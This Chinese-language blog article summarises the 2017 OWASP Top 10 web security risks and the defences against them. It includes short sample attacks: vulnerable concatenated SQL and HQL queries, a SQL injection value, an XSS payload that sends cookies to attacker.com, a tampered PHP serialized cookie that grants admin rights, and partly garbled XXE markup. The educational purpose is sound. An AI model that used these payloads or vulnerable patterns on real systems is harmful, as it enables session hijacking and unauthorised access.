本文原创,更多内容可以参考: Java 全栈知识体系。如需转载请说明原处。
在学习安全需要总体了解安全趋势和常见的Web漏洞,首推了解OWASP,因为它代表着业内Web安全漏洞的趋势。@pdai
OWASP(开放式web应用程序安全项目)关注web应用程序的安全。OWASP这个项目最有名的,也许就是它的"十大安全隐患列表"。这个列表不但总结了web应用程序最可能、最常见、最危险的十大安全隐患,还包括了如何消除这些隐患的建议。(另外,OWASP还有一些辅助项目和指南来帮助IT公司和开发团队来规范应用程序开发流程和测试流程,提高web产品的安全性。)这个"十大"差不多每隔三年更新一次。
本文总结自:www.owasp.org.cn - 2017 - 10项最严重的 Web 应用程序安全风险
在过去的几年中,应用程序的基础技术和结构发生了重大变化:
将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。
一些常见的注入,包括:SQL、OS命令、ORM、LDAP和表达式语言(EL)或OGNL注入。所有解释器的概念都是相同的。代码评审是最有效的检测应用程序的注入风险的办法之一,紧随其后的是对所有参数、字段、头、cookie、JSON和XML数据输入的彻底的DAST扫描。组织可以将SAST和DAST工具添加到CI/CD过程中,以便于在生产部署之前对现有或新检查的代码进行注入问题的预警。
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
在这两个案例中,攻击者在浏览器中将“id”参数的值修改成: ‘or’1’=‘1。例如:
http://example.com/app/accountView?id=’ or ‘1’='1
这样查询语句的意义就变成了从accounts表中返回所有的记录。更危险的攻击可能导致数据被篡改甚至是存储过程被调用。
通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
确认用户的身份、身份验证和会话管理非常重要,这些措施可用于将恶意的未经身份验证的攻击者与授权用户进行分离。如果您的应用程序存在如下问题,那么可能存在身份验证的脆弱性:
凭证填充,使用已知密码的列表,是常见的攻击。如果应用程序不限制身份验证尝试,则可以将应用程序用作密码oracle,以确定凭证是否有效。
大多数身份验证攻击都是由于使用密码作为唯一的因素。依据最佳实践,最新的密码轮换和复杂性要求鼓励用户使用、重用以及重用弱密码。建议组织NIST-800-63中停止这些实践,并使用多因素身份验证。
应用会话超时设置不正确。用户使用公共计算机访问应用程序。用户直接关闭浏览器选项卡就离开,而不是选择“注销”。攻击者一小时后使用同一个浏览器浏览网页,而当前用户状态仍然是经过身份验证的。
在可能的情况下,实现多因素身份验证,以防止自动、凭证填充、暴力破解和被盗凭据再利用攻击。
许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。
首先你需要确认的是哪些数据是敏感数据(包含:传输过程中的数据、存储数据)而需要被加密。例如:密码、信用卡卡号、医疗记录、个人信息应该被加密,特别是隐私法律或条例中规定需要加密的数据,如:欧盟《通用数据保护条例》(GDPR)、 属于“金融数据保护条例”的《支付卡行业数据安全标准》(PICDSS)。对于这些数据,要确定:
一个应用程序使用自动化的数据加密系统加密信用卡信息,并存储在数据库中。但是,当数据被检索时被自动解密,这就使得SQL注入漏洞能够以明文形式获得所有信用卡卡号。
一个网站上对所有网页没有使用或强制使用TLS,或者使用弱加密。攻击者通过监测网络流量(如:不安全的无线网络),将网络连接从HTTPS降级到HTTP,就可以截取请求并窃取用户会话cookie。 之后,攻击者可以复制用户cookie并成功劫持经过认证的用户会话、访问或修改用户个人信息。除此之外,攻击者还可以更改所有传输过程中的数据,例如:转款的接接收者。
密码数据库使用未加盐的哈希算法或弱哈希算法去存储每个人的密码。一个文件上传漏洞使黑客能够获取密码文件。所有这些未加盐哈希的密码通过彩虹表暴力破解方式破解。 由简单或快速散列函数生成加盐的哈希,也可以通过GPU破解。
对一些需要加密的敏感数据,应该起码做到以下几点:
许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。
应用程序和特别是基于XML的Web服务或向下集成,可能在以下方面容易受到攻击:
大量XXE缺陷已经被发现并被公开,这些缺陷包括嵌入式设备的XXE缺陷。 XXE缺陷存在于许多意想不到的地方,这些地方包括深嵌套的依赖项。最简单的方法是上传可被接受的恶意XML文件:
]>
<foo>&xxe;foo>
]>
]>
开发人员培训是识别和减少XXE缺陷的关键,此外,防止XXE 缺陷还需要:
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
访问控制强制实施策略,使用户无法在其预期的权限之外执行行为。失败的访问控制通常导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。常见的访问控制脆弱点包括:
pstmt.setString(1,request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
攻击者只需修改浏览器中的“acct”参数即可发送他们想要的任何帐号信息。如果没有正确验证,攻击者可以访问任何用户的帐户。
http://example.com/app/accountInfo?acct=notmyacct
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
如果一个未经身份验证的用户可以访问任何页面,那么这是一个缺陷。如果一个非管理员权限的用户可以访问管理页面,那么这同样也是一个缺陷。
访问控制只有在受信服务器端代码或没有服务器的 API 中有效,这样这样攻击者才无法修改访问控制检查或元数据。
开发人员和 QA人员应包括功能访问控制单元和集成测试人员。
安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。
您的应用程序可能受到攻击,如果应用程序是:
缺少一个体系的、可重复的应用程序安全配置过程,系统将处于高风险中。
应用程序服务器附带了未从产品服务器中删除的应用程序样例。这些样例应用程序具有已知的安全漏洞,攻击者利用这些漏洞来攻击服务器。如果其中一个应用程序是管理员控制台,并且没有更改默认账户,攻击者就可以通过默认密码登录,从而接管服务器。
目录列表在服务器端未被禁用。攻击者发现他们很容易就能列出目录列表。攻击者找到并下载所有已编译的Java类,他们通过反编译来查看代码。然后,攻击者在应用程序中找到一个严重的访问控制漏洞。
应用服务器配置允许将详细的错误信(如:堆栈跟踪信息)返回给用户,这可能会暴露敏感信息或潜在的漏洞,如:已知含有漏洞的组件的版本信息。
云服务向其他CSP用户提供默认的网络共享权限。这允许攻击者访问存储在云端的敏感数据。
应实施安全的安装过程,包括:
当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。
存在三种XSS类型,通常针对用户的浏览器:
反射式XSS:应用程序或API包括未经验证和未经转义的用户输入,作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。 通常,用户将需要与指向攻击者控制页面的某些恶意链接进行交互,例如恶意漏洞网站,广告或类似内容。
存储式XSS:你的应用或者API将未净化的用户输入存储下来了,并在后期在其他用户或者管理员的页面展示出来。 存储型XSS一般被认为是高危或严重的风险。
基于DOM的XSS:会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。理想的来说,你应该避免将攻击者可控的数据发送给不安全的JavaScriptAPI。
典型的XSS攻击可导致盗取session、账户、绕过MFA、DIV替换、对用户浏览器的攻击(例如:恶意软件下载、键盘记录)以及其他用户侧的攻击。
场景#1:应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据:
(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC“) + "'>";
攻击者在浏览器中修改“CC” 参数为如下值:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookiescript>'.
这个攻击导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。
注意:攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造(CSRF)防御机制。CSRF的详细情况见2013年版中的A8项。
防止XSS需要将不可信数据与动态的浏览器内容区分开。这可以通过如下步骤实现:
不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。
如果反序列化进攻者提供的敌意或者篡改过的对象将会使将应用程序和API变的脆弱。这可能导致两种主要类型的攻击:
在应用程序中,序列化可能被用于:
一个React应用程序调用了一组Spring Boot微服务。作为功能性程序员,他们试图确保他们的代码是不可变的。他们提出的解决方法是序列化用户状态,并在每次请求时来回传递。攻击者注意到了“R00”Java对象签名,并使用Java Serial Killer工具在应用服务器上获得远程代码执行。
一个PHP论坛使用PHP对象序列化来保存一个“超级”cookie。该cookie包含了用户的用户ID、角色、密码哈希和其他状态:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
攻击者更改序列化对象以授予自己为admin权限:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
唯一安全的架构模式是不接受来自不受信源的序列化对象,或使用只允许原始数据类型的序列化媒体。如果上述不可能的话,考虑使用下述方法:
组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。
如果满足下面的某个条件,那么你的应用就易受此类攻击:
很多时候组件都是以与应用相同的权限运行的,这使得组件里的缺陷可能导致各式各样的问题。这些缺陷可能是偶然的(如:编码错误),也可能是蓄意的(如:组件里的后门)。下面是一些已被利用的漏洞:
有些自动化工具能帮助攻击者发现未打补丁的或配置不正确的系统。例如 :Shodan IOT搜索引擎能帮助你发现从2014年四月至今仍存在心脏出血漏洞的设备。
应该制定一个补丁管理流程:
不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。
下列情况会导致不足的日志记录、检测、监控和响应:
一个由小团队运营的开源项目论坛软件被攻击者利用其内在漏洞攻陷了。 攻击者设法删除了包含下一个版本的内部源代码仓库以及所有论坛内容。 虽然代码可以恢复,但由于缺乏监控、日志记录和告警导致了更糟糕的结果。 由于此问题,该论坛软件项目不再活跃。
攻击者使用通用密码进行用户扫描并能获取所有使用此密码的账户。对于其他账户而言,将仅有一次失败的登陆尝试记录。一段时间以后,攻击者可以用另一个密码再次进行此活动。
美国的一家大型零售商据内部使用恶意软件分析沙箱做分析。 沙箱软件检测到了一些可能不需要的软件,但没有人响应此次检测。 在一个境外银行不正当的信用卡交易被检测到之前,该沙箱软件一直在产生告警信息。
根据应用程序存储或处理的数据的风险::
目前已有商业的和开源的应用程序防护框架(例如:OWASP AppSensor)、Web应用防火墙(例如 :Modsecurity with theOWASP Core Rule Set)、带有自定义仪表盘和告警功能的日志关联软件。
建立并使用可重复使用的安全流程和标准安全控制
无论您是刚接触Web应用程序安全,还是已经非常熟悉各种安全风险,创建一个安全的Web应用程序或修复一个已存在的应用程序的任务都可能很困难。若您需要管理一个大型的应用程序系统群,那任务将十分艰巨。
为帮助企业和开发人员以节省成本的方式降低应用程序的安全风险,OWASP创建了相当多的免费和开源的资源。您可以使用这些资源来解决您企业组织的应用程序安全问题。以下内容是OWASP为帮助企业组织创建安全的Web应用程序和API提供的一些资源。在下一页中,我们将展示其它可以帮助企业用于检查Web应用程序和接口安全性的OWASP资源。
建立持续性的应用安全测试
安全编码很重要。但验证你想达到的安全性是否真实存在、是否正确、是否像我们想的那样也很关键。应用程序安全测试的目标是提供这些证据。这项工作困难而复杂,敏捷和DevOps当前快速发展的过程给传统的方法和工具带来的极大的挑战。因此,我们强烈建议你思考如何专注于整个应用程序组合中重要的地方,并且低成本高收益。
当前安全风险变化很快,每年进行一次的扫描或渗透测试的日子已经过去了。现代软件开发需要在整个软件开发生命周期中进行持续的应用安全测试。通过安全自动化来加强现有的开发管道并不会减缓开发速度。无论你选择哪种方法,都需考虑一下每年随着应用系统的规模倍增的定期测试、修复、复测并重新部署应用程序的成本。
现在就启动您的应用程序安全计划
应用程序安全已经不再是一个选择了。在日益增长的攻击和监管的压力下,企业组织必须建立一个有效的能力去确保应用程序和API的安全。由于在生产环境中的应用程序和APIs的代码行数惊人,许多企业组织都在努力处理数量巨大的漏洞。
OWASP建议这些企业组织建立一个应用程序安全计划,深入了解并改善它们的应用程序组合的安全性。为了实现应用程序的安全性,需要企业组织中的不同部门之间有效地协同工作,这包括安全和审计、软件开发、商业和执行管理。安全应该可视化和可量化,让所有不同角色的人都可以看到并理解企业组织的应用程序的安全态势。通过消除或降低风险的方式专注于活动和结果,以帮助提高企业安全性。《OWASP SAMM》和首席信息官的《OWASP应用安全指南》是这个列表中大多数关键活动的来源。
管理完整的应用程序生命周期
应用程序是人创建和维护的最复杂的系统之一。应用程序的IT管理应该由IT专家来完成,并且由专家们负责应用程序的整个IT生命周期。
我们建议建立应用程序管理器的角色对等于应用程序所有者。应用程序管理器负责整个应用程序生命周期,从尝尝被忽视的IT角度,这包含收集需求到系统下线的过程。
攻击者可以通过应用程序中许多不同的路径方法去危害您的业务或者企业组织。每种路径方法都代表了一种风险,这些风险可能会,也可能不会严重到值得您去关注。
有时,这些路径方法很容易被发现并利用,但有的则非常困难。同样,所造成的危害有可能无关紧要,也可能导致破产。为了确定您企业的风险,可以结合其产生的技术影响和对企业的业务影响,去评估威胁来源、攻击向量和安全漏洞的可能性。总之,这些因素决定了全部的风险。
下面的表格总结了2017年版Top 10应用程序安全风险因素,以及我们赋予每个风险因素的风险值。这些因素基于OWASP团队拥有的统计数据和经验而决定。为了了解某个特定的应用程序或者企业组织的风险,您必须考虑您自己的威胁代理和业务影响。如果没有相应位置上的威胁代理去执行必要的攻击,或者产生的业务影响微不足道,那么就是再严重的软件漏洞也不会导致一个严重的安全风险。
最全的Java后端知识体系 https://www.pdai.tech, 每天更新中…。